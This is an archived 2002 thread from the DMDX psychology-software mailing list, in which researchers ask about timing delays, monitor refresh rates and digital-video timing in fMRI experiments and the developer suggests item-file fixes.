Content-Type: text/html; charset=""us-ascii"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Dear list members, I've written a basic speeded sequential priming task in which participants are encouraged to respond within 500 ms of target presentation.  To indicate whether the participant responded fast enough, the reaction time of each item is compared to the value ""500"" in a subroutine initiated by a switch at the end of each item.  This program works well with a small number of items (~50 or less).  But as items are added, a noticeable delay begins to occur during the function.  At 288 trials (the number used in my experiment), the delay during the lasts a few seconds.  The delay appears to grow in a linear fashion with the number of items.  Moreover, I have the program set up so that the trial should advance as soon as a response is made.  Because the delay seems to occur during the function, the mask is left on the screen for a few seconds after a response is made, giving the appearance (to the participant) that the program isn't being immediately receptive to one's response. For testing purposes, I added labels to the sample below that signal the onset of each component of the subroutine.  Whereas a delay will not be noticed with a few items (e.g., 10), it will be quite noticeable with about 300.  Note that the delay occurs before the beginning of the subroutine (line 500). So, does anyone know what causes this delay and how it may be eliminated?  I'd very much appreciate any help with this one. Thanks, Dave f1 d20   +1  %100 ""+""  / %17 ""prime"" /* %17 ""target"" / ""mask"" ; +2  %100 ""+""  / %17 ""prime"" /* %17 ""target"" / ""mask"" ; etc.... 400 ""The end"" c/; 500 %85 ""compare""/; 501 /; 502 %85 ""quick""/; 520 %500 /; 521 %85 ""slow""/; 530  %300 / %100 ""XXXX"" /  %100 /; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ David M. Amodio Department of Psychology University of Wisconsin - Madison 1202 W. Johnson St. Madison, WI  53706 (608) 265-3960 >From DMDX-owner@psy1.psych.arizona.edu Tue Feb 26 14:22:50 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id OAA09606 for ; Tue, 26 Feb 2002 14:22:35 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.040) id 3C7BCE2800008A01 for DMDX@psy1.psych.arizona.edu; Tue, 26 Feb 2002 14:22:35 -0700 Message-Id: <5.1.0.14.2.20020226142205.00b33360@psy1.psych.arizona.edu> Date: Tue, 26 Feb 2002 14:22:33 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: delay when using in large item files In-Reply-To: <5.1.0.14.2.20020226141202.00aa8790@students.wisc.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list See and put your subroutine at the start of the item file. At 02:53 PM 2/26/2002 -0600, you wrote: >Dear list members, > >I've written a basic speeded sequential priming task in which participants >are encouraged to respond within 500 ms of target presentation. To >indicate whether the participant responded fast enough, the reaction time >of each item is compared to the value ""500"" in a subroutine initiated by a > switch at the end of each item. > >This program works well with a small number of items (~50 or less). But >as items are added, a noticeable delay begins to occur during the >function. At 288 trials (the number used in my experiment), the delay >during the lasts a few seconds. The delay appears to grow in a >linear fashion with the number of items. Moreover, I have the program set >up so that the trial should advance as soon as a response is >made. Because the delay seems to occur during the function, the >mask is left on the screen for a few seconds after a response is made, >giving the appearance (to the participant) that the program isn't being >immediately receptive to one's response. > >For testing purposes, I added labels to the sample below that signal the >onset of each component of the subroutine. Whereas a delay will not be >noticed with a few items (e.g., 10), it will be quite noticeable with >about 300. Note that the delay occurs before the beginning of the >subroutine (line 500). > >So, does anyone know what causes this delay and how it may be >eliminated? I'd very much appreciate any help with this one. > >Thanks, > >Dave > > f1 d20 > > >+1 %100 ""+"" / %17 ""prime"" /* %17 ""target"" / ""mask"" ; >+2 %100 ""+"" / %17 ""prime"" /* %17 ""target"" / ""mask"" ; >etc.... > >400 ""The end"" c/; > >500 %85 ""compare""/; >501 /; >502 %85 ""quick""/; >520 %500 /; >521 %85 ""slow""/; >530 %300 / %100 ""XXXX"" / %100 /; > >~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ >David M. Amodio >Department of Psychology >University of Wisconsin - Madison >1202 W. Johnson St. >Madison, WI 53706 >(608) 265-3960 >==================================================================== Send >mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by >itself with no quotes in the body of the email to be removed from the >list. The list archive is available here: >http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ You are confident of things you know nothing about. >From DMDX-owner@psy1.psych.arizona.edu Tue Feb 26 14:31:21 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id OAA09665 for ; Tue, 26 Feb 2002 14:31:15 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.040) id 3C7BCE2800008EBC for DMDX@psy1.psych.arizona.edu; Tue, 26 Feb 2002 14:31:14 -0700 Message-Id: <5.1.0.14.2.20020226142259.00b33360@psy1.psych.arizona.edu> Date: Tue, 26 Feb 2002 14:31:14 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: refresh rate In-Reply-To: <3C7BCCEC0000057E@deimos.email.Arizona.EDU> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 01:00 PM 2/26/2002 -0700, you wrote: >Hello, >Any help with the following problem would be greatly appreciated. >The tasks are written and timed for a monitor refresh rate of 75 Hz. however, >periodically the computer will >change the refresh rate on us and go back to 60 Hz... how can we prevent > >this from happening? If you're talking about the machine with the ATI Radeon 7500 in it over in the MRI equipment room every time you boot it make sure the TV display is enabled. That's why the ATI desktop program is left on the screen every time it boots -- or if someone turned it off that's why it needs to be turned back on. Otherwise you need to get into some very low level shenanigans. You basically have to craft a .INF description of the monitor that persuades windows that it doesn't run at anything faster than 60Hz. The best (and only) tool I have found for this is a program called PowerStrip. Actually thinking about it the Matrox G400 I have allows you to cap the refresh rate of a given monitor, but these are generic PnP monitors, it might not allow such overriding with unique monitors that windows recognizes. And then there's windows XP with NVIDIA display adapters, there's a utility called the Nvidia Refresh Rate Fix that will allow you to cap the refresh rate, but that is only with NVIDIA hardware under XP. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ You are confident of things you know nothing about. >From DMDX-owner@psy1.psych.arizona.edu Wed Feb 27 03:01:54 2002 Received: from lnf.cnrs-mrs.fr (lnf.cnrs-mrs.fr [195.221.164.221]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id DAA11250 for ; Wed, 27 Feb 2002 03:01:35 -0700 Received: from lnf.cnrs-mrs.fr (lnc0214 [195.221.164.214]) by lnf.cnrs-mrs.fr (8.10.2/jtpda-5.3.3) with ESMTP id g1RA1Yv08252 for ; Wed, 27 Feb 2002 11:01:35 +0100 (MET) Message-ID: <3C7CAD9D.C5B7E60F@lnf.cnrs-mrs.fr> Date: Wed, 27 Feb 2002 10:57:49 +0100 From: Bruno Wicker MIME-Version: 1.0 To: ""DMDX@psy1.psych.arizona.edu"" Subject: [DMDX] timing problem Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hello, I built a protocol which aim is to present video stimuli of 3sec in an fMRI. The problemis that the timing seems to be wrong. Indeed, the .zil file look like this : ! Played 75 frames of 75 in RDdeDEPJ1.avi Item 1, COT 0.00 100.85,+Bit0 102.83,-Bit0 2062.66,+Button 0 2318.10,-Button 0 ! Played 75 frames of 75 in RDdeDENJ2.avi Item 2, COT 3875.23 1660.89,+Button 1 1890.69,-Button 1 ! Played 75 frames of 75 in RDdeGENV4.avi Item 3, COT 7739.35 As I have a one sec gap between the presentation of two stimuli (movies), the second COT should be 4000 instead of 3875.23. Same for the following. Does someone know from where it comes from ? Thanks a lot , Bruno. -- Dr Bruno Wicker CNRS Centre de Recherches en Neurosciences Cognitives 31, Chemin Joseph Aiguier 13402 Marseille cedex 20 Tel : 33 (0)4 91 16 43 59 Fax : 33 (4) 91 77 49 69 >From DMDX-owner@psy1.psych.arizona.edu Wed Feb 27 08:02:42 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id IAA11861 for ; Wed, 27 Feb 2002 08:02:18 -0700 From: lindseyl@email.arizona.edu Received: from [128.196.8.98] by deimos.email.Arizona.EDU with HTTP; Wed, 27 Feb 2002 08:02:16 -0700 Date: Wed, 27 Feb 2002 08:02:16 -0700 Message-ID: <3C7BEF38000016A5@deimos.email.Arizona.EDU> Subject: [DMDX] another problem To: ""DMDX listserve"" MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi I have another problem I was hoping to get help solving. The following program is written to display a dot that moves on the screen. Does anyone have any suggestions for making the dot move more quickly. Each display of the dot is written to be one item, which is the only way I have been able to get the dot to display and move at all. If there is a better way to do this, I would love to know. Thank you, Lindsey Program Excerpt: 0""Now Follow the Target"" %179 /!c; 0x313 ""ƒ""/!c; 0x315 ""ƒ""/!c; 0x326 ""ƒ""/!c; 0x338 ""ƒ""/!c; 0x346 ""ƒ""/!c; 0x350 ""ƒ""/!c; 0x356 ""ƒ""/!c; __________________________________________________ Lindsey Littrell Research Technician Departments of Psychiatry & Neurology University of Arizona >From DMDX-owner@psy1.psych.arizona.edu Wed Feb 27 09:07:35 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA12062 for ; Wed, 27 Feb 2002 09:07:15 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.30) by phobos.email.Arizona.EDU (6.0.040) id 3C7BCE28000223B0 for DMDX@psy1.psych.arizona.edu; Wed, 27 Feb 2002 09:07:15 -0700 Message-Id: <5.1.0.14.2.20020227090613.00b39c38@psy1.psych.arizona.edu> Date: Wed, 27 Feb 2002 09:07:13 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: timing problem In-Reply-To: <3C7CAD9D.C5B7E60F@lnf.cnrs-mrs.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 10:57 AM 2/27/2002 +0100, you wrote: >following. Does someone know from where it comes from ? Not being psychic, no, not until we see your item file. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ It is against the grain of modern education to teach children to program. What fun is there in making plans, acquiring discipline in organizing thoughts, devoting attention to detail, and learning to be self-critical? - Alan Perlis >From DMDX-owner@psy1.psych.arizona.edu Wed Feb 27 09:17:39 2002 Received: from lnf.cnrs-mrs.fr (lnf.cnrs-mrs.fr [195.221.164.221]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA12135 for ; Wed, 27 Feb 2002 09:17:27 -0700 Received: from lnf.cnrs-mrs.fr (lnc0214 [195.221.164.214]) by lnf.cnrs-mrs.fr (8.10.2/jtpda-5.3.3) with ESMTP id g1RGHPv19518 for ; Wed, 27 Feb 2002 17:17:25 +0100 (MET) Message-ID: <3C7D05B2.C1D0999E@lnf.cnrs-mrs.fr> Date: Wed, 27 Feb 2002 17:13:38 +0100 From: Bruno Wicker MIME-Version: 1.0 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: timing problem References: <5.1.0.14.2.20020227090613.00b39c38@psy1.psych.arizona.edu> Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Sorry, here it is ! 0 ""CONTENT = BOUTON GAUCHE"", ""COLERE = BOUTON DROIT""; 111 ""attente scanner""/<% 618>/; -1*""RDdeDEPJ1""/<% 41>/; +2*""RDdeDENJ2""/<% 41>/; +3*""RDdeGENV4""/<% 41>/; -4*""RDdeGEPJ4""/<% 41>/; +5*""RDdeDENV3""/<% 41>/; -6*""RDdeGEPV2""/<% 41>/; +7*""RDdeGENJ3""/<% 41>/; -8*""RDdeDEPV1""/<% 41>/; ""j.c.f."" a �crit : > At 10:57 AM 2/27/2002 +0100, you wrote: > > >following. Does someone know from where it comes from ? > > Not being psychic, no, not until we see your item file. > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > It is against the grain of modern education to teach children to > program. What fun is there in making plans, acquiring discipline in > organizing thoughts, devoting attention to detail, and learning to be > self-critical? > > - Alan Perlis > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== -- Bruno Wicker CNRS Centre de Recherches en Neurosciences Cognitives 31, Chemin Joseph Aiguier 13402 Marseille cedex 20 Tel : 33 (0)4 91 16 43 59 Fax : 33 (4) 91 77 49 69 >From DMDX-owner@psy1.psych.arizona.edu Wed Feb 27 09:20:21 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA12150 for ; Wed, 27 Feb 2002 09:20:15 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.30) by phobos.email.Arizona.EDU (6.0.040) id 3C7BCE2800022CA4 for DMDX@psy1.psych.arizona.edu; Wed, 27 Feb 2002 09:20:14 -0700 Message-Id: <5.1.0.14.2.20020227090846.00b39c38@psy1.psych.arizona.edu> Date: Wed, 27 Feb 2002 09:20:13 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: another problem In-Reply-To: <3C7BEF38000016A5@deimos.email.Arizona.EDU> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 08:02 AM 2/27/2002 -0700, you wrote: >Program Excerpt: > is certain to cause DMDX to have an aneurysm, you've told it that the default fame duration is 0 tics, don't ever display anything. But of course you override it with later so it doesn't actually matter. > And is going to blow it up as well, fortunately you override that as well (although why you should be playing with the subject response timeout is a mystery when you aren't collecting responses). > > > >0""Now Follow the Target"" %179 /!c; > >0x313 ""ƒ""/!c; >0x315 ""ƒ""/!c; >0x326 ""ƒ""/!c; >0x338 ""ƒ""/!c; >0x346 ""ƒ""/!c; >0x350 ""ƒ""/!c; >0x356 ""ƒ""/!c; Try: 0 %1 x313 ""ƒ"" / %1 x315 ""ƒ"" / %1 x326 ""ƒ""/ %1 x338 ""ƒ"" / %1 x346 ""ƒ""/ %1 x350 ""ƒ""/ %1 x356 ""ƒ""; /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ It is against the grain of modern education to teach children to program. What fun is there in making plans, acquiring discipline in organizing thoughts, devoting attention to detail, and learning to be self-critical? - Alan Perlis >From DMDX-owner@psy1.psych.arizona.edu Wed Feb 27 09:23:12 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA12161 for ; Wed, 27 Feb 2002 09:23:06 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.30) by phobos.email.Arizona.EDU (6.0.040) id 3C7BCE2800022E57 for DMDX@psy1.psych.arizona.edu; Wed, 27 Feb 2002 09:23:06 -0700 Message-Id: <5.1.0.14.2.20020227092141.00b39c38@psy1.psych.arizona.edu> Date: Wed, 27 Feb 2002 09:23:04 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: timing problem In-Reply-To: <3C7D05B2.C1D0999E@lnf.cnrs-mrs.fr> References: <5.1.0.14.2.20020227090613.00b39c38@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list And the frame duration that TimeDX reports for 1024 x 768 x 16? /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ It is against the grain of modern education to teach children to program. What fun is there in making plans, acquiring discipline in organizing thoughts, devoting attention to detail, and learning to be self-critical? - Alan Perlis >From DMDX-owner@psy1.psych.arizona.edu Wed Feb 27 09:45:42 2002 Received: from lnf.cnrs-mrs.fr (lnf.cnrs-mrs.fr [195.221.164.221]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA12371 for ; Wed, 27 Feb 2002 09:45:35 -0700 Received: from lnf.cnrs-mrs.fr (lnc0214 [195.221.164.214]) by lnf.cnrs-mrs.fr (8.10.2/jtpda-5.3.3) with ESMTP id g1RGjWv19862 for ; Wed, 27 Feb 2002 17:45:32 +0100 (MET) Message-ID: <3C7D0C4A.202BEECF@lnf.cnrs-mrs.fr> Date: Wed, 27 Feb 2002 17:41:46 +0100 From: Bruno Wicker MIME-Version: 1.0 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: timing problem References: <5.1.0.14.2.20020227090613.00b39c38@psy1.psych.arizona.edu> <5.1.0.14.2.20020227092141.00b39c38@psy1.psych.arizona.edu> Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list When I test the refresh rate with TimeDX I get 13, 89 ms. The monitor is at 60 Hz. ""j.c.f."" a �crit : > And the frame duration that TimeDX reports for 1024 x 768 x 16? > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > It is against the grain of modern education to teach children to > program. What fun is there in making plans, acquiring discipline in > organizing thoughts, devoting attention to detail, and learning to be > self-critical? > > - Alan Perlis > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== -- Bruno Wicker CNRS Centre de Recherches en Neurosciences Cognitives 31, Chemin Joseph Aiguier 13402 Marseille cedex 20 Tel : 33 (0)4 91 16 43 59 Fax : 33 (4) 91 77 49 69 >From DMDX-owner@psy1.psych.arizona.edu Wed Feb 27 09:57:25 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA12439 for ; Wed, 27 Feb 2002 09:57:18 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.30) by phobos.email.Arizona.EDU (6.0.040) id 3C7BCE28000246EA for DMDX@psy1.psych.arizona.edu; Wed, 27 Feb 2002 09:57:18 -0700 Message-Id: <5.1.0.14.2.20020227095116.00b39c38@psy1.psych.arizona.edu> Date: Wed, 27 Feb 2002 09:57:17 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: timing problem In-Reply-To: <3C7D0C4A.202BEECF@lnf.cnrs-mrs.fr> References: <5.1.0.14.2.20020227090613.00b39c38@psy1.psych.arizona.edu> <5.1.0.14.2.20020227092141.00b39c38@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 05:41 PM 2/27/2002 +0100, you wrote: >When I test the refresh rate with TimeDX I get 13, 89 ms. The monitor is >at 60 Hz. I doubt very much that the monitor is at 60Hz, the refresh interval would be 16.66ms. Your value of 13.89 indicates 72Hz. Also, before I start punching numbers into the calculator you'd better check that the frame duration of your video is 33.33ms (you get that at the end of TimeDX's Advanced Tests / Digital Video Test). /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ It is against the grain of modern education to teach children to program. What fun is there in making plans, acquiring discipline in organizing thoughts, devoting attention to detail, and learning to be self-critical? - Alan Perlis >From DMDX-owner@psy1.psych.arizona.edu Wed Feb 27 10:18:15 2002 Received: from lnf.cnrs-mrs.fr (lnf.cnrs-mrs.fr [195.221.164.221]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA12575 for ; Wed, 27 Feb 2002 10:17:59 -0700 Received: from lnf.cnrs-mrs.fr (lnc0214 [195.221.164.214]) by lnf.cnrs-mrs.fr (8.10.2/jtpda-5.3.3) with ESMTP id g1RHHvv20244 for ; Wed, 27 Feb 2002 18:17:57 +0100 (MET) Message-ID: <3C7D13E3.61B05A9E@lnf.cnrs-mrs.fr> Date: Wed, 27 Feb 2002 18:14:11 +0100 From: Bruno Wicker MIME-Version: 1.0 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: timing problem References: <5.1.0.14.2.20020227090613.00b39c38@psy1.psych.arizona.edu> <5.1.0.14.2.20020227092141.00b39c38@psy1.psych.arizona.edu> <5.1.0.14.2.20020227095116.00b39c38@psy1.psych.arizona.edu> Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I apologize, the monitor is indeed at 72 Hz. I can't test the frame duration right now as i am not in front of the right computer (at the fMRI center). I'll be able to tell you tomorrow (it's getting dark here). Thanks a lot for your help so far. Bruno ""j.c.f."" a �crit : > At 05:41 PM 2/27/2002 +0100, you wrote: > >When I test the refresh rate with TimeDX I get 13, 89 ms. The monitor is > >at 60 Hz. > > I doubt very much that the monitor is at 60Hz, the refresh interval > would be 16.66ms. Your value of 13.89 indicates 72Hz. Also, before I > start punching numbers into the calculator you'd better check that the > frame duration of your video is 33.33ms (you get that at the end of > TimeDX's Advanced Tests / Digital Video Test). > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > It is against the grain of modern education to teach children to > program. What fun is there in making plans, acquiring discipline in > organizing thoughts, devoting attention to detail, and learning to be > self-critical? > > - Alan Perlis > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== -- Bruno Wicker CNRS Centre de Recherches en Neurosciences Cognitives 31, Chemin Joseph Aiguier 13402 Marseille cedex 20 Tel : 33 (0)4 91 16 43 59 Fax : 33 (4) 91 77 49 69 >From DMDX-owner@psy1.psych.arizona.edu Wed Feb 27 11:14:23 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA12776 for ; Wed, 27 Feb 2002 11:14:14 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.040) id 3C7BEF34000208C0 for DMDX@psy1.psych.arizona.edu; Wed, 27 Feb 2002 11:14:14 -0700 Message-Id: <5.1.0.14.2.20020227103028.00b33370@psy1.psych.arizona.edu> Date: Wed, 27 Feb 2002 11:14:14 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: timing problem In-Reply-To: <3C7D13E3.61B05A9E@lnf.cnrs-mrs.fr> References: <5.1.0.14.2.20020227090613.00b39c38@psy1.psych.arizona.edu> <5.1.0.14.2.20020227092141.00b39c38@psy1.psych.arizona.edu> <5.1.0.14.2.20020227095116.00b39c38@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 06:14 PM 2/27/2002 +0100, you wrote: >I apologize, the monitor is indeed at 72 Hz. > >I can't test the frame duration right now as i am not in front of the right >computer (at the fMRI center). But I hope you were earlier on when timing the retrace interval. > I'll be able to tell you tomorrow (it's getting >dark here). >Thanks a lot for your help so far. Well, given your current item file structure and the info we have to date and assuming your digital video's frame rate is in fact 30Hz the duration of one of your items is going to be: -1*""RDdeDEPJ1"" 75 x 33.33ms = 2499.75ms /<% 41> 41 x 13.89ms = 569.49ms /; 1 x 13.89ms = 13.89ms 30 x 13.89ms = 416.70ms = 3499.83ms Which leaves 370ms unaccounted for. However, you've got digital video in there and there is a Run Transition Time (displayed by the TimeDX Digital Video Test) and this is added to the duration of a digital video frame. On my 850MHz Athlon a typical value is 160ms and it's likely to scale with processor speed so if your machine is much slower your value for the Run Transition Time is likely to be much larger. And then there's the indeterminate amount of time added when the digital video ends as the digital video's frame duration is never going to be the monitor's refresh rate, but that's not likely to be more than a frame or two. Basically you can see that you're not likely to be able to get a constant ISI as long as you are using the digital video's playing duration, or if you do, it's by fudging things and assuming that the Run Transition Time and the cleanup afterwards is going to be constant -- which would be wrong because once the digital video file has been referenced once it's likely to be in the hard disk cache, the next time I bench the same file in TimeDX the Run Transition Time is under 60ms. I would change your item structure to something like the following: -1 %210 * ""RDdeDEPJ1"" / %41 /; I pick 210 because that gives 2870ms to play the video, a larger figure might be needed. Assuming this in fact legal to do, I might be wrong, it's been years since I wrote that code and it might just flat out not be possible to specify a digital video's frame duration -- indeed the documentation (http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhdigitalvideo.htm) mentions rescheduling frames to compensate for Run Transition Time so you might be SOL. You'll have to try it and see if you get a constant COT delta, you might want to try a stupidly large value (say 400 ticks) for the digital video frame's duration just to see if you can in fact get a constant COT delta. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ You are confident of things you know nothing about. >From DMDX-owner@psy1.psych.arizona.edu Wed Feb 27 11:21:07 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA12795 for ; Wed, 27 Feb 2002 11:20:52 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.040) id 3C7BEF3400020D16 for DMDX@psy1.psych.arizona.edu; Wed, 27 Feb 2002 11:20:52 -0700 Message-Id: <5.1.0.14.2.20020227111931.00b33370@psy1.psych.arizona.edu> Date: Wed, 27 Feb 2002 11:20:52 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: timing problem In-Reply-To: <5.1.0.14.2.20020227103028.00b33370@psy1.psych.arizona.edu> References: <3C7D13E3.61B05A9E@lnf.cnrs-mrs.fr> <5.1.0.14.2.20020227090613.00b39c38@psy1.psych.arizona.edu> <5.1.0.14.2.20020227092141.00b39c38@psy1.psych.arizona.edu> <5.1.0.14.2.20020227095116.00b39c38@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 11:14 AM 2/27/2002 -0700, you wrote: >-1 %210 * ""RDdeDEPJ1"" / %41 /; Another thing to try if you can't get a constant COT delta is this: -1 %0 * ""RDdeDEPJ1"" / %251 /; /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ You are confident of things you know nothing about. >From DMDX-owner@psy1.psych.arizona.edu Wed Feb 27 11:41:07 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA12927 for ; Wed, 27 Feb 2002 11:40:59 -0700 Received: from peggysue (128.196.98.201) by deimos.email.Arizona.EDU (6.0.040) id 3C7BEF3400021B00 for DMDX@psy1.psych.arizona.edu; Wed, 27 Feb 2002 11:40:59 -0700 Message-Id: <4.2.2.20020227110325.00ae7bc0@ryant.inbox.email.arizona.edu> Date: Wed, 27 Feb 2002 11:41:07 -0700 To: DMDX@psy1.psych.arizona.edu From: Lee Ryan Subject: [DMDX] Re: timing problems in fMRI In-Reply-To: <3C7D13E3.61B05A9E@lnf.cnrs-mrs.fr> References: <5.1.0.14.2.20020227090613.00b39c38@psy1.psych.arizona.edu> <5.1.0.14.2.20020227092141.00b39c38@psy1.psych.arizona.edu> <5.1.0.14.2.20020227095116.00b39c38@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list One thing that has been an issue for us using our DMDX programs in the scanner is that our scanner presentation system translates the signal from the computer into video signal. If that's the case, then the refresh rate is determined by the video signal, not by whatever you set on your computer monitor, and I'm pretty sure it has to be 60 hz. So if you're setting your refresh rate at 75 hz, even if you get your program to run to the exact timing that you want, when you go to the magnet the timing 